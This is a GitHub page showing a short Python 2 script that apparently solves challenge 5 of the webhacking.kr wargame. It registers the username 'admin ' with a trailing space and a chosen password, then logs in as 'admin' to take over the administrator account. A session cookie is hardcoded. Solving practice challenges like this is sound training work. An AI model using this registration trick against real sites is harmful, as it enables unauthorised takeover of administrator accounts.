-
Notifications
You must be signed in to change notification settings - Fork 0
/
Challenge5.py
50 lines (41 loc) · 1.2 KB
/
Challenge5.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#-*- coding: utf-8 -*-
import urllib
import urllib2
import CookieManager
challengeUrl = "http://webhacking.kr/challenge/web/web-05/mem/join.php"
CookieManager.addCookie("PHPSESSID", "e28ad7cb81a98a13982054373940bf92")
parameters = urllib.urlencode({
"id": "admin ",
"pw": "1q2w3e"
})
httpRequest = urllib2.Request(challengeUrl, data=parameters)
httpRequest.add_header("Cookie", CookieManager.getCookie())
httpRequest.get_method = lambda: 'POST'
httpConnection = None
try:
httpConnection = urllib2.urlopen(httpRequest)
httpResponse = httpConnection.read()
print httpResponse
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
challengeUrl = "http://webhacking.kr/challenge/web/web-05/mem/login.php"
parameters = urllib.urlencode({
"id": "admin",
"pw": "1q2w3e"
})
httpRequest = urllib2.Request(challengeUrl, data=parameters)
httpRequest.add_header("Cookie", CookieManager.getCookie())
httpRequest.get_method = lambda: 'POST'
httpConnection = None
try:
httpConnection = urllib2.urlopen(httpRequest)
httpResponse = httpConnection.read()
print httpResponse
except:
raise
finally:
if httpConnection != None:
httpConnection.close()